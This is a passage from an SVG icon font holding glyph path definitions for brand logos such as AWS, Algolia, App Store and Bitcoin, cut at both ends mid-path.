85.7002l-42.6006 24.7998l-51.5996 -46c-30 -26.7998 -70.5996 18.5 -40.5 45.4004l68 60.6992 +c9.7998 8.80078 24.0996 10.2002 35.5 3.60059c0 0 139.3 -80.9004 139.5 -81.1006c16.2002 -10.0996 20.7002 -36 6.09961 -52.5996l-58.3994 -66.5l106.1 5.90039c18.5 1.09961 33.6006 -14.4004 32.1006 -32.7002zM359 346.2 +c-28.0996 0 -50.9004 22.7998 -50.9004 50.8994c0 28.1006 22.8008 50.9004 50.9004 50.9004s50.9004 -22.7998 50.9004 -50.9004c0 -28.0996 -22.8008 -50.8994 -50.9004 -50.8994zM179.6 -8.5c20.8008 0 40.1006 6.40039 56.1006 17.2998l39.7002 -39.7002 +c-100.7 -78.8994 -251.4 -8.19922 -251.4 122.5c0 36.1006 12.4004 69.4004 33.2002 95.7002l39.7002 -39.7002c-44.7002 -65.5 2.09961 -156.1 82.6992 -156.1z" /> + <glyph glyph-name="accusoft" unicode="" horiz-adv-x="640" +d="M322.1 196c-1.69922 -1.59961 -89.5996 -82.5 -90.1992 -83.2998l-92.6006 -33.7998c-4.7998 -2 -7.59961 -3.7002 -7 -8.90039c0.200195 -1.5 0.600586 -22.5996 1 -27.7002c-0.700195 -0.5 -0.0996094 0 -0.599609 -0.599609c0 0 -113.7 -36.6006 -114.5 -36.6006 +c-14.1006 -5.09961 -22.7002 -8.2998 -15.7002 1.7002c1.2998 1.7998 234.4 231.601 243.4 240.9c13 13.5 25 15.0996 25 15.0996l51.1992 -65.7998v-1zM482.2 75.9004c-5.7002 6.89941 -232.2 297.1 -239.9 306.6c-13.7002 17.2002 0 16.7998 19.2002 16.9004 +c9.7002 0.0996094 106.3 0.599609 116.5 0.599609c24.0996 0.0996094 28.7002 -0.599609 38.4004 -12.7998c2.09961 -2.7002 205.1 -245.8 207.199 -248.3c5.5 -6.7002 15.2002 -19.1006 7.2002 -23.4004c-2.39941 -1.2998 -114.6 -47.7002 -117.8 -48.9004 +c-10.0996 -4 -17.5 -6.7998 -30.7998 9.30078zM634.9 74.2998c6 -1.39941 7.09961 -4.2002 1.69922 -8.2002c-2 -1.39941 -123.699 -76.5996 -125.8 -77.7998c-15.0996 -8.7998 -38 -1.59961 -53.5996 1.7002c-7.10059 1.5 -305.3 68.2998 -308 69.0996 +c-2.60059 0.900391 -4.40039 1 -4.60059 3.5c-0.299805 4 6 5.60059 11.1006 7.60059c5 1.89941 145.3 52.5996 150.2 54.7002c4.7998 2.09961 11.2998 2.69922 14.3994 2.89941c4.90039 0.299805 59.9004 -8.39941 65.2998 -9.2998l57.1006 -74 +c9.7998 -11.4004 20.7002 -21.9004 36.7002 -14.5996c2.5 1.19922 117.5 51.5996 117.5 51.5996c13.3994 -2.5 35.6992 -6.90039 38 -7.2002z" /> + <glyph glyph-name="adversal" unicode="" horiz-adv-x="512" +d="M482.1 416c24.5 0 29.9004 -5.59961 29.9004 -30.2002v-388.1c0 -24.5 -5.5 -29.7002 -29.9004 -29.7002h-453.399c-22.9004 0 -28.7002 5.59961 -28.7002 28.9004v390.199c0 23 5.7998 28.9004 28.7002 28.9004h453.399zM178.4 227.7 +c9.39941 -7.2002 12.3994 -17.1006 11.2998 -27.2998c-1.7998 -19.1006 -75.7998 -11.4004 -114 -30.9004c-27.2002 -13.9004 -42.7002 -41.7002 -39.6006 -71c6.7002 -64.7002 89.6006 -79.7002 147 -43.2998c4.60059 3.2002 8.30078 4.89941 11.9004 1 +c2.09961 -2.60059 2 -4 3.90039 -6.2002c7.2998 -9.59961 38.1992 -14.0996 46.5996 -7.40039c3.09961 2.80078 4.59961 6.30078 2.7002 10.7002c-13.6006 30.5 -6.60059 63 -9.2998 88.7998c0 69.3008 6.39941 111.7 -34.5 128.5 +c-41.9004 17.4004 -84.2002 16.6006 -125.301 -4.7998c-16.2998 -9 -53.6992 -52.8994 -24.8994 -64.2998c5.2998 -2.2998 12.7998 -4 22.5 -5.5c8.2002 -1.2002 13.2002 -2.7998 17.5 8.2998c12.0996 32.1006 56.7002 43.6006 84.2002 23.4004zM465.1 5.7002 +c0 14.2998 -9.7998 9.89941 -16.5996 9.89941c-132.3 0.400391 -264.5 0.400391 -396.8 0c-6.60059 0 -16.7002 4.80078 -17.1006 -9.09961c-0.399414 -15.5 10.4004 -10.7002 17.8008 -10.7002h394.899c6.7002 0 17.7998 -5.2002 17.7998 9.90039zM468.9 346.2 +c0 0.200195 0 0.299805 0.0996094 0.5c0 9.89941 -3.5 15.0996 -13.5996 14.2998c-3.10059 -0.400391 -6.60059 0 -9.7002 0c-26.1006 0 -26 0 -26 -26.2002v-71c-79.2002 45.6006 -124.3 -6.59961 -136.101 -30.5c-16.3994 -32.8994 -21.7998 -66.5996 -15.6992 -100 +c16.2998 -92.2998 91 -114.899 144.399 -85.2002c4.60059 2.80078 6.60059 7.5 12.4004 -1.19922c8.59961 -12.7002 23.7002 -5.2002 36.0996 -5.60059c7.40039 0 8.10059 8.2002 8.10059 13.9004v291zM417.4 113.9c-19.5 -47.6006 -72.9004 -43.3008 -90 -5.2002 +c-15.1006 33.2998 -15.5 68.2002 0.399414 101.5c16.2998 34.0996 59.7002 35.7002 81.5 4.7998c20.6006 -28.7998 14.9004 -84.5996 8.10059 -101.1zM122.6 78.5996c-7.5 1.30078 -33 3.30078 -33.6992 27.8008c-0.400391 13.8994 7.7998 23 19.7998 25.7998 +c24.3994 5.89941 49.2998 9.89941 73.7002 14.7002c8.89941 2 7.39941 -4.40039 7.7998 -9.5c1.39941 -33 -26.1006 -59.2002 -67.6006 -58.8008z" /> + <glyph glyph-name="affiliatetheme" unicode="" horiz-adv-x="512" +d="M159.7 210.6c-51.2998 -70.8994 -116.601 -110.8 -145.7 -89.1992c-29.2002 21.6992 -11.2002 96.5996 40.2002 167.5c51.2998 70.8994 116.6 110.8 145.7 89.1992c29.0996 -21.5996 11.0996 -96.5996 -40.2002 -167.5zM510.9 267.9 +c0.699219 -8.2002 1.09961 -16.5 1 -25c0 -151.801 -121.601 -274.9 -271.601 -274.9c-82.8994 0 -157.2 37.5996 -207 96.9004c71.2998 19.3994 130.5 68.3994 164.101 133.199c7.69922 -32.5996 24 -58.5996 49 -73.7998c72.5996 -44.0996 190.699 20.2002 264.5 143.601z +" /> + <glyph glyph-name="algolia" unicode="" +d="M229.3 265.4c49.2002 0 89.2002 -39.9004 89.2002 -89.2002s-39.9004 -89.2002 -89.2002 -89.2002s-89.2002 39.9004 -89.2002 89.2002s39.9004 89.2002 89.2002 89.2002zM292 208.8c1.2998 0.700195 1.7998 2.40039 1.09961 3.7002 +c-12.1992 21.4004 -34.8994 36.0996 -61.0996 37.0996c-1.40039 0.100586 -2.7002 -1.09961 -2.7002 -2.59961v-66.5c0 -1.90039 2 -3.2002 3.7998 -2.2998zM389.1 416c32.5 0 58.9004 -26.4004 58.8008 -58.9004v-330.199c0 -32.5 -26.3008 -58.9004 -58.9004 -58.9004 +h-330.1c-32.5 0 -58.9004 26.4004 -58.9004 59v330.1c0 32.5 26.4004 58.9004 58.9004 58.9004h330.199zM186.5 331.3h0.0996094v-15.7998c0 -1.7002 1.7002 -3 3.40039 -2.5c12.7002 3.7002 25.9004 5.5 39.4004 5.5c13 0 25.7998 -1.7002 38.0996 -5.09961 +c1.59961 -0.5 3.2998 0.699219 3.2998 2.5v15.3994c0 10.7998 -8.7002 19.5 -19.5 19.5h-45.2998c-10.7998 0 -19.5 -8.7002 -19.5 -19.5zM102.1 294.3c-7.59961 -7.59961 -7.59961 -19.8994 0 -27.3994l7.7002 -7.7002c1.10059 -1.2002 3 -1 4 0.299805 +c4.40039 6.09961 9.40039 12 14.7998 17.4004c5.5 5.5 11.4004 10.3994 17.6006 14.8994c1.2998 1 1.39941 2.90039 0.299805 4l-7.7002 7.7002c-7.59961 7.59961 -19.8994 7.59961 -27.5 0zM229.3 49.5c69.9004 0 126.601 56.7998 126.601 126.6 +c0 70 -56.6006 126.601 -126.601 126.601c-69.8994 0 -126.6 -56.7002 -126.6 -126.601c0 -69.8994 56.5996 -126.6 126.6 -126.6z" /> + <glyph glyph-name="amilia" unicode="" +d="M240.1 416c134.101 0 191.9 -55.7002 192 -136v-296.6c0 -3 -1 -8.10059 -5.09961 -9.10059c-4 -1 -57.2998 -0.700195 -66.5 -0.700195s-56.7998 1 -59.9004 2c-4 0.900391 -6.09961 6.10059 -6.09961 9.10059v25.3994 +c-39.5996 -21.3994 -105.5 -42.0996 -153.3 -42.0996c-109.7 0 -124.9 85.7002 -124.9 104s-5.09961 95.5 30.4004 111.8c31.5 13.2002 156.3 36.5 243.7 47.7998v38.5c0 44.7002 -1 73.1006 -58.9004 73.1006c-55.7998 0 -119.8 -25.4004 -152.3 -47.7002 +c-6.10059 -4.09961 -16.2002 -4.09961 -20.2998 6.09961c-5.10059 12.2002 -9.10059 34.5 -10.2002 39.6006c-1.90039 10.2002 2.09961 16.2998 7.2002 19.3994c52.6992 38.5 122.3 55.4004 184.199 55.4004zM290.3 68v106.7c-44.7002 -4.10059 -95.5 -20.2998 -119.8 -33.5 +c-21.2998 -10.2002 -18.2998 -40.7002 -18.2998 -52.9004c0.0996094 -11.2002 6.2002 -44.7002 59 -44.7002c30.3994 0 57.7002 11.2002 79.0996 24.4004z" /> + <glyph glyph-name="angrycreative" unicode="" horiz-adv-x="640" +d="M640 209.8l-3.2002 -28.2002l-34.5 -2.2998l-2 -18.0996l34.5 2.2998l-3.2002 -28.2002l-34.3994 -2.2002l-2.2998 -20.0996l34.3994 2.2002l-3 -26.1006l-64.7002 -4.09961l12.7002 113.2l-47.2998 -115.4l-31.9004 -2l-23.7998 117.8l30.2998 2l13.6006 -79.3994 +l31.7002 82.3994zM426.8 76.5l12.7998 120l28.4004 1.90039l-12.9004 -120.101zM162 59.9004l-19.4004 36l-3.5 -37.4004l-28.1992 -1.7002l2.69922 29.1006c-11 -18 -32 -34.3008 -56.8994 -35.8008c-32.7998 -2 -59.7002 20.9004 -56.4004 58.2002 +c2.60059 29.2998 26.7002 62.7998 67.5 65.4004c37.7002 2.39941 47.6006 -23.2002 51.2998 -28.7998l2.80078 30.7998l38.8994 2.5c20.1006 1.2998 38.7002 -3.7002 42.5 -23.7002l2.60059 26.5996l64.7998 4.2002l-2.7002 -27.8994l-36.4004 -2.40039l-1.69922 -17.9004 +l36.3994 2.30078l-2.7002 -27.9004l-36.3994 -2.2998l-1.90039 -19.9004l36.2998 2.2998l-2.09961 -20.7998l55 117.2l23.7998 1.59961l32.1006 -110.6l8.89941 85.5996l-22.2998 -1.39941l2.90039 27.8994l75 4.90039l-3 -28l-24.3008 -1.59961l-9.69922 -91.9004 +l-58 -3.7002l-4.30078 15.6006l-39.3994 -2.5l-8 -16.3008zM117.7 130.1l-26.4004 -1.69922c-6.7002 12.3994 -14.3994 16.5996 -26.2998 15.7998c-19 -1.2002 -33.2998 -17.5 -34.5996 -33.2998c-1.40039 -16 7.2998 -32.5 28.6992 -31.2002 +c12.8008 0.799805 21.3008 8.59961 28.9004 18.8994l27 1.7002zM173.8 137.8c1.2002 12.9004 -7.59961 13.6006 -26.0996 12.4004l-2.7002 -28.5c14.2002 0.899414 27.5 2.09961 28.7998 16.0996zM194.9 67l5.7998 60c-5 -13.5 -14.7002 -21.0996 -27.9004 -26.5996z +M330.3 112l-7.89941 37.7998l-15.8008 -39.2998zM160.2 186.6l-4.2998 17.5l-39.6006 -2.59961l-8.09961 -18.2002l-31.9004 -2.09961l57 121.899l23.9004 1.60059l30.7002 -102l9.89941 104.7l27 1.7998l37.7998 -63.6006l6.5 66.6006l28.5 1.89941l-4 -41.1992 +c7.40039 13.5 22.9004 44.6992 63.6006 47.5c40.5 2.7998 52.3994 -29.3008 53.3994 -30.3008l3.30078 32l39.2998 2.7002c12.7002 0.900391 27.7998 -0.299805 36.2998 -9.7002l-4.40039 11.9004l32.2002 2.2002l12.9004 -43.2002l23 45.7002l31 2.2002l-43.6006 -78.4004 +l-4.7998 -44.2998l-28.3994 -1.90039l4.7998 44.2998l-15.7998 43c1 -22.2998 -9.2002 -40.0996 -32 -49.5996l25.1992 -38.7998l-36.3994 -2.40039l-19.2002 36.7998l-4 -38.2998l-28.4004 -1.89941l3.30078 31.5c-6.7002 -9.30078 -19.7002 -35.4004 -59.6006 -38 +c-26.2002 -1.7002 -45.5996 10.2998 -55.3994 39.1992l-4 -40.2998l-25 -1.59961l-37.6006 63.2998l-6.2998 -66.2002zM436.8 268.7c10.2002 0.700195 17.5 2.09961 21.6006 4.2998c4.5 2.40039 7 6.40039 7.59961 12.0996 +c0.599609 5.30078 -0.599609 8.80078 -3.40039 10.4004c-3.59961 2.09961 -10.5996 2.7998 -22.8994 2zM327.7 234c5.59961 -5.90039 12.7002 -8.5 21.2998 -7.90039c4.7002 0.300781 9.09961 1.80078 13.2998 4.10059c5.5 3 10.6006 8 15.1006 14.2998l-34.2002 -2.2998 +l2.39941 23.8994l63.1006 4.30078l1.2002 12l-31.2002 -2.10059c-4.10059 3.7002 -7.7998 6.60059 -11.1006 8.10059c-4 1.69922 -8.09961 2.7998 -12.1992 2.5c-8 -0.5 -15.3008 -3.60059 -22 -9.2002c-7.7002 -6.40039 -12 -14.5 -12.9004 -24.4004 +c-1.09961 -9.59961 1.40039 -17.2998 7.2002 -23.2998zM126.4 225.8l23.7998 1.60059l-8.2998 37.5996z" /> + <glyph glyph-name="app-store" unicode="" horiz-adv-x="512" +d="M255.9 327.1l9.09961 15.7002c5.59961 9.7998 18.0996 13.1006 27.9004 7.5c9.7998 -5.59961 13.0996 -18.0996 7.5 -27.8994l-87.5 -151.5h63.2998c20.5 0 32 -24.1006 23.0996 -40.8008h-185.5c-11.2998 0 -20.3994 9.10059 -20.3994 20.4004 +s9.09961 20.4004 20.3994 20.4004h52l66.6006 115.399l-20.8008 36.1006c-5.59961 9.7998 -2.2998 22.1992 7.5 27.8994c9.80078 5.60059 22.2002 2.2998 27.9004 -7.5zM177.2 109.1l-19.6006 -34c-5.59961 -9.7998 -18.0996 -13.0996 -27.8994 -7.5 +c-9.7998 5.60059 -13.1006 18.1006 -7.5 27.9004l14.5996 25.2002c16.4004 5.09961 29.7998 1.2002 40.4004 -11.6006zM346.1 170.8h53.1006c11.2998 0 20.3994 -9.09961 20.3994 -20.3994c0 -11.3008 -9.09961 -20.4004 -20.3994 -20.4004h-29.5l19.8994 -34.5 +c5.60059 -9.7998 2.30078 -22.2002 -7.5 -27.9004c-9.7998 -5.59961 -22.1992 -2.2998 -27.8994 7.5c-33.5 58.1006 -58.7002 101.601 -75.4004 130.601c-17.0996 29.5 -4.89941 59.0996 7.2002 69.0996c13.4004 -23 33.4004 -57.7002 60.0996 -104zM256 440 +c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM472 192c0 119.9 -97.2998 216 -216 216c-119.9 0 -216 -97.2998 -216 -216c0 -119.9 97.2998 -216 216 -216c119.9 0 216 97.2998 216 216z" /> + <glyph glyph-name="app-store-ios" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM127 63.5l19.2998 33.2998c-10.2998 12.5 -23.5 16.2998 -39.5996 11.4004l-14.2998 -24.7002 +c-5.5 -9.5 -2.30078 -21.7998 7.2998 -27.2998c9.5 -5.5 21.7998 -2.2998 27.2998 7.2998zM265.9 117.4c8.7998 16.2998 -2.5 40 -22.7002 40h-62.1006l85.8008 148.6c5.5 9.5 2.2998 21.7998 -7.30078 27.2998c-9.5 5.5 -21.7998 2.2998 -27.2998 -7.2998 +l-8.89941 -15.4004l-8.90039 15.4004c-5.5 9.5 -17.7002 12.7998 -27.2998 7.2998c-9.5 -5.5 -12.7998 -17.7002 -7.2998 -27.2998l20.5 -35.4004l-65.4004 -113.199h-51c-11 0 -20 -9 -20 -20s9 -20 20 -20h181.9zM364 117.4c11 0 20 8.89941 20 20c0 11 -9 20 -20 20h-52 +c-26.2002 45.2998 -45.7998 79.2998 -58.9004 102c-11.8994 -9.80078 -23.7998 -38.8008 -7.09961 -67.8008c16.5 -28.3994 41.0996 -71.1992 74 -128.1c5.5 -9.5 17.7002 -12.7998 27.2998 -7.2998c9.5 5.5 12.7998 17.7002 7.2998 27.2998l-19.5996 33.9004h29z" /> + <glyph glyph-name="apper" unicode="" horiz-adv-x="640" +d="M42.0996 208.9c22.2002 0 29 -2.80078 33.5 -14.6006h0.800781v22.9004c0 11.2998 -4.80078 15.3994 -17.9004 15.3994c-11.2998 0 -14.4004 -2.5 -15.0996 -12.7998h-38.6006c0.299805 13.9004 1.5 19.1006 5.7998 24.4004 +c7.30078 8.7998 18.9004 11.7998 46.1006 11.7998c33 0 47.0996 -5 53.8994 -18.9004c2 -4.2998 4 -15.5996 4 -23.6992v-76.3008h-38.2998l1.2998 19.1006h-1c-5.2998 -15.6006 -13.5996 -20.4004 -35.5 -20.4004c-30.2998 0 -41.0996 10.1006 -41.0996 37.2998 +c0 25.2002 12.2998 35.8008 42.0996 35.8008zM59.2002 160.8c13.0996 0 16.8994 3 16.8994 13.4004c0 9.09961 -4.2998 11.5996 -19.5996 11.5996c-13.0996 0 -17.9004 -3 -17.9004 -12.0996c-0.0996094 -10.4004 3.7002 -12.9004 20.6006 -12.9004zM137 255.7h38.2998 +l-1.5 -20.6006h0.799805c9.10059 17.1006 15.9004 20.9004 37.5 20.9004c14.4004 0 24.7002 -3 31.5 -9.09961c9.80078 -8.60059 12.8008 -20.4004 12.8008 -48.1006c0 -30 -3 -43.0996 -12.1006 -52.8994c-6.7998 -7.30078 -16.3994 -10.1006 -33.2002 -10.1006 +c-20.3994 0 -29.1992 5.5 -33.7998 21.2002h-0.799805v-70.2998h-39.5v169zM217.9 195c0 27.5 -3.30078 32.5 -20.7002 32.5c-16.9004 0 -20.7002 -5 -20.7002 -28.7002c0 -28 3.5 -33.5 21.2002 -33.5c16.3994 0 20.2002 5.60059 20.2002 29.7002zM275.8 255.7h38.2998 +l-1.5 -20.6006h0.800781c9.09961 17.1006 15.8994 20.9004 37.5 20.9004c14.3994 0 24.6992 -3 31.5 -9.09961c9.7998 -8.60059 12.7998 -20.4004 12.7998 -48.1006c0 -30 -3 -43.0996 -12.1006 -52.8994c-6.7998 -7.30078 -16.3994 -10.1006 -33.2998 -10.1006 +c-20.3994 0 -29.2002 5.5 -33.7998 21.2002h-0.799805v-70.2998h-39.5v169h0.0996094zM356.7 195c0 27.5 -3.2998 32.5 -20.7002 32.5c-16.9004 0 -20.7002 -5 -20.7002 -28.7002c0 -28 3.5 -33.5 21.2002 -33.5c16.4004 0 20.2002 5.60059 20.2002 29.7002zM410.5 198.8 +c0 25.4004 3.2998 37.7998 12.2998 45.7998c8.7998 8.10059 22.2002 11.3008 45.1006 11.3008c42.7998 0 55.6992 -12.8008 55.6992 -55.7002v-11.1006h-75.2998c-0.299805 -2 -0.299805 -4 -0.299805 -4.7998c0 -16.8994 4.5 -21.8994 20.0996 -21.8994 +c13.9004 0 17.9004 3 17.9004 13.8994h37.5v-2.2998c0 -9.7998 -2.5 -18.9004 -6.7998 -24.7002c-7.2998 -9.7998 -19.6006 -13.5996 -44.2998 -13.5996c-27.5 0 -41.6006 3.2998 -50.6006 12.2998c-8.5 8.5 -11.2998 21.2998 -11.2998 50.7998zM486.9 210.4 +c-0.300781 1.7998 -0.300781 3.2998 -0.300781 3.7998c0 12.2998 -3.2998 14.5996 -19.5996 14.5996c-14.4004 0 -17.0996 -3 -18.0996 -15.0996l-0.300781 -3.2998h38.3008zM542.5 255.7h38.2998l-1.7998 -19.9004h0.700195 +c6.7998 14.9004 14.3994 20.2002 29.7002 20.2002c10.7998 0 19.0996 -3.2998 23.3994 -9.2998c5.2998 -7.2998 6.7998 -14.4004 6.7998 -34c0 -1.5 0 -5 0.200195 -9.2998h-35c0.299805 1.7998 0.299805 3.2998 0.299805 4c0 15.3994 -2 19.3994 -10.2998 19.3994 +c-6.2998 0 -10.7998 -3.2998 -13.0996 -9.2998c-1 -3 -1 -4.2998 -1 -12.2998v-68h-38.2998v118.5h0.0996094z" /> + <glyph glyph-name="asymmetrik" unicode="" horiz-adv-x="576" +d="M517.5 138.8c-13.9004 -14.2998 -30.4004 -27.7002 -48.9004 -39.7998l73.4004 -110.4h-101.6l-45.9004 71.8008c-17.5996 -7.2002 -35.9004 -13.4004 -54.5 -18.7002l32.5996 -53.1006h-135.5l22.8008 37.1006c-23.3008 -2.7002 -46.4004 -3.7002 -68.6006 -2.7002 +l-22 -34.4004h-101.6l34.5 51.7002c-45 17.9004 -68.9004 47.9004 -68.4004 83c0.299805 25.7998 14 54.2998 41.7002 82.9004c38.9004 40 96.5 72.5996 161.6 92.8994c-22.2998 -8.09961 -42 -18.5 -62 -30.6992c-31.1992 -16.2002 -58.6992 -35.9004 -79.5 -58.1006 +c-57.3994 -61 -46.5 -121.8 19.1006 -151.2l190.2 285.5l150.899 -226.399c13 9.5 24.7998 19.7998 35 30.5996c98 104.2 53.7002 207.9 -98.7998 231.7c-68.2998 10.5996 -146.8 5.7002 -221.3 -14.7998c-60.1006 -10 -118.7 -31.7002 -170.7 -58.2002 +c118.1 66.9004 277.9 102.1 406.6 82.4004c110 -16.8008 170.2 -69.5 169.4 -135c-0.400391 -36.1006 -19.7002 -76.1006 -58.5 -116.101zM329.9 58.2998c18.3994 5.2998 36.5 11.7998 53.6992 19.2002l-78.6992 123l-101.9 -159.3 +c22.5 -0.700195 45.7998 0.899414 69.2002 4.39941l32.7002 53.3008z" /> + <glyph glyph-name="audible" unicode="" horiz-adv-x="640" +d="M640 248.1v-54l-320 -200l-320 199.9v54l320 -200zM445.5 176.1c-70.7998 94.4004 -200.5 110.7 -290.2 36.3008c-2.59961 -2.2002 -5.2002 -4.40039 -7.7002 -6.7002h-0.299805c37.1006 55.7002 100.601 92.3994 172.601 92.3994s135.5 -36.7998 172.699 -92.5996z +M225.4 157.3c21 29.6006 55.5 49 94.3994 49c39.2002 0 73.9004 -19.5996 94.7998 -49.5l-45.3994 -28.3994c-21.2002 29.1992 -52 47.5996 -86.4004 47.5996c-20.8994 0 -40.5 -6.7998 -57.3994 -18.7002zM103.6 286.9c-11.5 -9.10059 -24.2998 -22.1006 -34.1992 -32.6006 +c53.8994 82.1006 147 135.601 250.5 135.601c104.899 0 197.199 -54 250.699 -135.7l-48.7998 -30.4004l-0.700195 1c-99.2998 138.5 -285.699 166.4 -417.5 62.1006zM570.6 254.2z" /> + <glyph glyph-name="avianex" unicode="" horiz-adv-x="512" +d="M453.1 416c39 0 64.8008 -31.2002 57.8008 -69.7998l-56.7002 -308.5c-7.10059 -38.5 -44.4004 -69.7002 -83.2998 -69.7002h-312c-39 0 -64.8008 31.2002 -57.7002 69.7002l56.5996 308.6c7.10059 38.5 44.4004 69.7002 83.2998 69.7002h312zM394.9 68.7002 +l6.2998 7.89941l-94.9004 119.4l-4.5 7.2998c19.7998 14.2002 33.5 24.2998 35.2998 25.6006c7.90039 6.59961 6.30078 20.7998 -2.69922 31.2998c-9.2002 10.7998 -23 14.3994 -30.7002 7.89941c0 0 -14.4004 -13.5996 -33.7998 -32.3994l-4.90039 4.5l-103.1 112.399 +l-8.90039 -4.7998l-18.7998 -28.8994l68.7998 -99.8008l20.5 -29.5996c-12 -12.2998 -23.5 -24.4004 -32.7998 -34.9004l-58 31.1006l-15.7002 -15.4004l52.4004 -48.0996l40.5996 -61l17.9004 12.7002l-22.1006 64.1992c12.5 7.60059 27 17.1006 41.7002 27.1006 +l115.4 -110z" /> + <glyph glyph-name="aws" unicode="" horiz-adv-x="640" +d="M180.41 244.99c-0.719727 -22.6504 10.5996 -32.6807 10.8799 -39.0498c-0.276367 -2.69141 -1.85352 -4.99902 -4.09961 -6.27051l-12.8008 -8.95996c-1.60352 -1.12402 -3.54785 -1.82422 -5.62988 -1.91992c-0.429688 0.0195312 -8.18945 -1.83008 -20.4795 25.6104 +c-14.4111 -17.9883 -36.5596 -29.5156 -61.3789 -29.5156c-0.427734 0 -0.804688 0.0585938 -1.23145 0.0654297c-16.2803 -0.890625 -60.4004 9.24023 -58.1299 56.21c-1.58984 38.2803 34.0596 62.0596 70.9297 60.0498 +c7.10059 -0.0195312 21.6006 -0.370117 46.9902 -6.26953v15.6191c2.69043 26.46 -14.7002 46.9902 -44.8096 43.9102c-2.40039 -0.00976562 -19.4004 0.5 -45.8408 -10.1094c-7.35938 -3.37988 -8.2998 -2.82031 -10.75 -2.82031 +c-7.40918 0 -4.35938 21.4795 -2.93945 24.2002c5.20996 6.39941 35.8604 18.3496 65.9395 18.1797c2.25586 0.199219 4.53906 0.301758 6.84668 0.301758c18.5547 0 35.5566 -6.61719 48.8438 -17.582c11.1152 -12.4326 17.877 -28.8398 17.877 -46.8135 +c0 -1.87891 -0.0615234 -3.70508 -0.207031 -5.5459zM93.9902 212.6c32.4297 0.470703 46.1602 19.9707 49.29 30.4707c2.45996 10.0498 2.0498 16.4102 2.0498 27.3994c-9.66992 2.32031 -23.5898 4.85059 -39.5605 4.87012 +c-15.1494 1.14062 -42.8193 -5.62988 -41.7393 -32.2598c-1.24023 -16.79 11.1201 -31.4004 29.96 -30.4805zM264.91 189.55c-7.86035 -0.719727 -11.5205 4.86035 -12.6797 10.3701l-49.8008 164.65c-0.969727 2.7793 -1.60938 5.64941 -1.91992 8.58008 +c-0.0341797 0.227539 -0.0527344 0.459961 -0.0527344 0.697266c0 2.30566 1.70117 4.21387 3.91309 4.55273c0.240234 0.0400391 -2.12988 0 22.25 0c8.78027 0.879883 11.6396 -6.03027 12.5498 -10.3701l35.7197 -140.83l33.1602 140.83 +c0.530273 3.21973 2.94043 11.0693 12.7998 10.2393h17.1602c2.16992 0.180664 11.1104 0.5 12.6807 -10.3691l33.4199 -142.631l36.8701 142.631c0.479492 2.17969 2.71973 11.3691 12.6797 10.3691h19.7197c0.850586 0.130859 6.15039 0.810547 5.25 -8.5791 +c-0.429688 -1.85059 3.41016 10.6592 -52.75 -169.9c-1.14941 -5.50977 -4.82031 -11.0898 -12.6797 -10.3701h-18.6904c-10.9395 -1.15039 -12.5098 9.66016 -12.6797 10.75l-33.1602 137.13l-32.7803 -136.99c-0.15918 -1.08984 -1.72949 -11.8994 -12.6797 -10.75 +h-18.2998v-0.00976562zM538.39 183.92c-5.87988 -0.00976562 -33.9199 0.299805 -57.3594 12.29c-4.59375 1.94531 -7.81934 6.49609 -7.81934 11.7949c0 0.0410156 0.00878906 0.0742188 0.00878906 0.115234v10.75c0 8.4502 6.2002 6.89941 8.83008 5.88965 +c10.04 -4.05957 16.4805 -7.13965 28.8105 -9.59961c36.6494 -7.53027 52.7695 2.2998 56.7197 4.47949c13.1504 7.81055 14.1895 25.6807 5.25 34.9502c-10.4805 8.79004 -15.4805 9.12012 -53.1299 21c-4.64062 1.29004 -43.7002 13.6104 -43.79 52.3604 +c-0.610352 28.2402 25.0498 56.1797 69.5195 55.9502c12.6699 0.00976562 46.4307 -4.13086 55.5703 -15.6201c1.34961 -2.08984 2.01953 -4.5498 1.91992 -7.04004v-10.1104c0 -4.43945 -1.62012 -6.66016 -4.87012 -6.66016 +c-7.70996 0.860352 -21.3896 11.1699 -49.1602 10.75c-6.88965 0.360352 -39.8896 -0.910156 -38.4092 -24.9697c-0.430664 -18.96 26.6094 -26.0703 29.6992 -26.8896c36.46 -10.9707 48.6504 -12.79 63.1201 -29.5801c17.1406 -22.25 7.90039 -48.2998 4.35059 -55.4404 +c-19.0801 -37.4902 -68.4199 -34.4395 -69.2607 -34.4199zM578.59 79.0596c-70.0303 -51.7197 -171.689 -79.25 -258.49 -79.25c-1.0498 -0.00683594 -2.10059 -0.00976562 -3.15234 -0.00976562c-120.699 0 -230.949 45.7383 -314.117 120.74 +c-6.53027 5.88965 -0.770508 13.96 7.16992 9.46973c93.1143 -53.2637 200.925 -83.7148 315.791 -83.7148c0.138672 0 0.950195 -0.405273 1.08887 -0.405273c85.4404 0.458984 167.381 18.2432 241.59 49.5508c11.7803 5 21.7705 -7.80078 10.1201 -16.3809z +M607.78 112.35c-8.95996 11.5205 -59.2803 5.38086 -81.8105 2.69043c-6.79004 -0.770508 -7.93945 5.12012 -1.79004 9.46973c40.0703 28.1699 105.88 20.1006 113.44 10.6299c7.5498 -9.46973 -2.0498 -75.4092 -39.5605 -106.909 +c-5.75977 -4.87012 -11.2695 -2.30078 -8.70996 4.09961c8.44043 21.25 27.3906 68.4902 18.4307 80.0195z" /> + <glyph glyph-name="bimobject" unicode="" +d="M416 416c17.5996 0 32 -14.4004 32 -32v-384c0 -17.5996 -14.4004 -32 -32 -32h-384c-17.5996 0 -32 14.4004 -32 32v384c0 17.5996 14.4004 32 32 32h384zM352 158.6h-0.0996094v35c0 49.4004 -11.4004 82.5 -103.801 82.5h-17.2998 +c-30 0 -65.0996 -8.2998 -69.7002 -38.7998h-1.09961v74.7002h-64v-232h64v34.7998h0.900391c8 -23.8994 26.2998 -38.7998 70.3994 -38.7998h16.9004c92.3994 0 103.8 33.2002 103.8 82.5996zM288 187.5v-22.9004c0 -21.6992 -3.40039 -33.7998 -38.4004 -33.7998h-45.2998 +c-28.8994 0 -44.0996 6.5 -44.0996 35.7002v19c0 29.2998 15.2002 35.7002 44.0996 35.7002h45.2998c35 0.200195 38.4004 -12 38.4004 -33.7002z" /> + <glyph glyph-name="bitcoin" unicode="" horiz-adv-x="512" +d="M504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248zM362.349 227.33c4.9375 32.999 -20.1904 50.7393 -54.5498 62.5732l11.1465 44.7021l-27.2129 6.78027l-10.8516 -43.5234 +c-7.1543 